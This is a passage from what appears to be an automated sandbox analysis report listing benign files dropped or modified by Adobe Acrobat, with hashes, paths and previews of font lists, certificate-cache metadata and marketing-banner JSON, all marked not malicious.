SSDEEP:	3:kkFkl82kltfllXlE/HT8k6H/h1NNX8RolJuRdxLlGB9lQRYwpDdt:kKl2seT8F7NMa8RdWBwRd
MD5:	B1D49FB301D638B76B26584A515F8609
SHA1:	E58ED7272ABF1174FC9B869CF3CDC5F6ED3050A4
SHA-256:	079EB170C0305D8640F2680B13C0F076092DB125F3E0F7692D1478D4EBE69C80
SHA-512:	CD1B7A6E163F9E9FB3E55BD42B9BEF832FC6C02B4CAD591F5E984FFD958C88243E1BA3BE57A970541252CF79C34792BCB245DEE5BB39A0CDB8CD798E769E85D7
Malicious:	false
Preview:	p...... .........H...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1281741569735972
Encrypted:	false
SSDEEP:	6:kK6yL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:1iDnLNkPlE99SNxAhUe/3
MD5:	54E846559A8DAFDB68337E3C6EC54EB8
SHA1:	79E931D117FCC12508F359D737A12B6DFEA906A6
SHA-256:	CBE9AA5DFA1B7E9EF7BD8553469C7BDE54A1C9DBBFF774324910BA57BB2E2DDE
SHA-512:	5454B884DAC0703E61D4A9E36801B52A88AB45D300F6EC0132D389E649287C3496356C56C66FFAAAEAE6CDF93B066CA6ECCCD0DBCC75AC835EB3FA5B654A703C
Malicious:	false
Preview:	p...... ..........u..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5636

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5636

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.310220733044833
Encrypted:	false
SSDEEP:	6:YEQXJ2HX42gJ9O+FIbRI6XVW7+0YcT9KoAvJM3g98kUwPeUkwRe9:YvXKX42MYpW7N95GMbLUkee9
MD5:	DFFFBFF604D0426DB16B1FE2A2E49076
SHA1:	665C56520EC978018F86633BF17E2BC622CAF574
SHA-256:	3D7E2EB5C9EEB59986C91783EDF032118A1F289C947AA35AB42D47017A98FDA7
SHA-512:	5932811220D9CC64963B0DE504877543FC502D1485D85D73B7772238B0D94729C35E08B65D71F1C0D2541B92B28A4E65A5EF8F19E2A466ADFDB6F55C948C8469
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2489410930636415
Encrypted:	false
SSDEEP:	6:YEQXJ2HX42gJ9O+FIbRI6XVW7+0YcT9KoAvJfBoTfXpnrPeUkwRe9:YvXKX42MYpW7N95GWTfXcUkee9
MD5:	745271E52755828E9F01BFAB09D391A5
SHA1:	7D8F274D062C729556DE94DB3068D508E39CB95B
SHA-256:	EFF1F1A76D3EB1CC9184F061794686443B66673359D1487314449AD03E5C6D46
SHA-512:	50FA3D095FE7B8BC6E30520EAD523D3286DE4401556AD587908C4530D7F5614596F7977CCFF3F559A734B82C47D26C550CD6346270364DD56A92A9D605507E86
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.227080007808909
Encrypted:	false
SSDEEP:	6:YEQXJ2HX42gJ9O+FIbRI6XVW7+0YcT9KoAvJfBD2G6UpnrPeUkwRe9:YvXKX42MYpW7N95GR22cUkee9
MD5:	7F5972D8AB2BA3F11DCA9F35A592E913
SHA1:	25C1714A239D99BC182AAFFAB7EEF1FD5A276EC1
SHA-256:	169E3986037C82516B9BE23F830930F12373786E5199C8DE9CA786BCDC3AA9D4
SHA-512:	DE39FC044255FBC8685FB94F5111A59FE3A50F2A8F4CAFAC4F349868EAA6D3709AC5E3C6F738392B2F90E78E4D7953891EC7D296294C7DBBACE0208149B51B57
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.287248956197986
Encrypted:	false
SSDEEP:	6:YEQXJ2HX42gJ9O+FIbRI6XVW7+0YcT9KoAvJfPmwrPeUkwRe9:YvXKX42MYpW7N95GH56Ukee9
MD5:	09F66B7FA321B6EA51A4A40FC52540DE
SHA1:	1082F25F38BA971A53420F284C0FC74003746E86
SHA-256:	83E38233EF7C660E6B884296781F4A310E6CD52A18F9728896FA01CACCED3177
SHA-512:	457A434DE6119728C3C37CEF707E9BB26C71D9FD9B6F3A7D027466B8155BEE36853FBAF0E41D88E360DD4A22761091CFC8F8CEBC50B21B410448528B5BE04F00
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687539481471359
Encrypted:	false
SSDEEP:	24:Yv6XXibepLgE9cQx8LennAvzBvkn0RCmK8czOCCSzn:Yv1ahgy6SAFv5Ah8cv/zn
MD5:	5F8EA464282BFBAFBE596B5D4150BA1C
SHA1:	FBFB514DF056E69D90A7F0A577BE84D5D8A63691
SHA-256:	17B08961A0967030FC7D5C07CEF5605C727359AEE24F9B077EB0A1C3E3984120
SHA-512:	8B79258D7337A1C9080DC323F3D4EAD4A609DF39C5A38F0753CDE0789D848C48BC8D6A49E3E79D1C6FF539592D1C600CAB62B3C69357BD1814E9911A55887615
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.230365501296889
Encrypted:	false
SSDEEP:	6:YEQXJ2HX42gJ9O+FIbRI6XVW7+0YcT9KoAvJf8dPeUkwRe9:YvXKX42MYpW7N95GU8Ukee9
MD5:	FE3B7516F1339192C36A9446A3D1D3E4
SHA1:	62567E38B075477B9FA830D93447609002610353
SHA-256:	FC746AFAD6F6D31E97418EE599AA318287A63DC521A53E1E58EB5B6B0E25FBA9
SHA-512:	EF33076688615F36D6DC3502542EA98AB33DD752DD1A0BC88989F0614F7446D87AE727FEC5C4F7735AF292478F9B928B0D905AAE0A923CB053A52EFC76D91640
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2326197497707
Encrypted:	false
SSDEEP:	6:YEQXJ2HX42gJ9O+FIbRI6XVW7+0YcT9KoAvJfQ1rPeUkwRe9:YvXKX42MYpW7N95GY16Ukee9
MD5:	2134EFC6B0FB81AD2D2B8AC9FB0909FF
SHA1:	DD215C9DE36D862A9AC5FC43B02FF018AD227966
SHA-256:	4A4DC521A696F2E3943246C8B51CA906C4DE98747907005DE44CE8B5053ECCF2
SHA-512:	BD471F023AB17476F442893571859E978AA0DDA9BD251335EBFADA533CD97FF2360414B96533B6F3E055A941EEA30C8D456EB4065000BA7F06AC3B768617659C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.251337008053989
Encrypted:	false
SSDEEP:	6:YEQXJ2HX42gJ9O+FIbRI6XVW7+0YcT9KoAvJfFldPeUkwRe9:YvXKX42MYpW7N95Gz8Ukee9
MD5:	53070E834450C4987E48B66C90C7C5A0
SHA1:	2C77ECAB6EA5D65A2A19B9C55251BDDB7EAD81C4
SHA-256:	AA6FA95C63FD4168678F1B0C5EC0EE410BD9B699ED00A09F43600814C9E90B36
SHA-512:	BE8FED5B28EA52CD53A7978BD1A441D787791D05D5A72B4571A138AF59E8541CE1E7FDFBCE3F4C2551DAC5DC64D7ADC12E36E9B5224E808EFB7A1A593FF2E949
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.258864087971861
Encrypted:	false
SSDEEP:	6:YEQXJ2HX42gJ9O+FIbRI6XVW7+0YcT9KoAvJfzdPeUkwRe9:YvXKX42MYpW7N95Gb8Ukee9
MD5:	4D15A056C7EC811F713343F9B5EE6A2C
SHA1:	9EF8471ADF567521BB331A6CC6DC28AC4661FFF8
SHA-256:	D0B94FB6C358BA791D7A4DD521F5FC953407284E238DE550A976290EB56F8501
SHA-512:	34C1A90E2E221BC597A208AFC033A07461AB45E313C3C9CB432BD1667C66AFEFB5D548D5BF5F23E5AE4FF5CD76A10BD2016B3A0DDFD38DEEC575FD37CDD25974
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.238792122164
Encrypted:	false
SSDEEP:	6:YEQXJ2HX42gJ9O+FIbRI6XVW7+0YcT9KoAvJfYdPeUkwRe9:YvXKX42MYpW7N95Gg8Ukee9
MD5:	8F0FE990C27B96E797CF779667163FD6
SHA1:	3B981CB8F5F5ED69B256969693A72198E535FF72
SHA-256:	4A0E44CD07DDFF1F7C5DFB61DC2EC89C9523508D39186FB76CD7C4FFB099FE21
SHA-512:	B45809F26358F64C0D85CBAB539E7AF7FC5DDC6E68C1A193AE957C0D625270E14EC1B0F9AEC075CB43EECE1179AF897FF222A86EE57DD5FB9E72F468616C661E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.224063882431487
Encrypted:	false
SSDEEP:	6:YEQXJ2HX42gJ9O+FIbRI6XVW7+0YcT9KoAvJf+dPeUkwRe9:YvXKX42MYpW7N95G28Ukee9
MD5:	5A910483EEA3A498E73FD488B8019FB7
SHA1:	6DEDB8AFE34499BA6B7BE3363DAED98F180D1417
SHA-256:	2DAE4B3157B23F90278FE75879D29288628BAB6D4B58A1369F61A886A6E162C5
SHA-512:	BC6FE05D41B217104237B8FB7F2A5EC86666C9F0109D15AF3CE914E2D8A3A5779A9B6F3570BB6D965D58AEF6F61B32983BB63615D719CBF1E9C630E4F08290A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.222759892537768
Encrypted:	false
SSDEEP:	6:YEQXJ2HX42gJ9O+FIbRI6XVW7+0YcT9KoAvJfbPtdPeUkwRe9:YvXKX42MYpW7N95GDV8Ukee9
MD5:	7506404F1390C3F4F24C3A5D5E5E41E6
SHA1:	7C09147356B270D67F5E3C5F303179C05A212E0E
SHA-256:	D0774AC3AC676381EFB0C4802D0FA1FB952B25E184AD35ADC0E284077C2FC548
SHA-512:	69E0A1556FE63BB7F1BBB57BAEC39AF48794A355BB079B3D400243D71DE7D8281F976BAC5B0CA4624757D871B53D48BDA575D8DD0DA18F00883449E4440C725B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aba74090-e0c0-4226-8dc2-c588d66e7aa7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720482811,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.22416118014052
Encrypted:	false
SSDEEP:	6:YEQXJ2HX42gJ9O+FIbRI6XVW7+0YcT9KoAvJf21rPeUkwRe9:YvXKX42MYpW7N95G+16Ukee9
MD5:	CC3CC3F6555376F656AEB6CFDC2C2E19
SHA1:	3AF1BF1774B8F47232A912767B8B90D05B860DD0
SHA-256:	3F96B3457485A77ADDF944A46C5265A4DE4DCE3FF52C15DAC601CBD926907A27
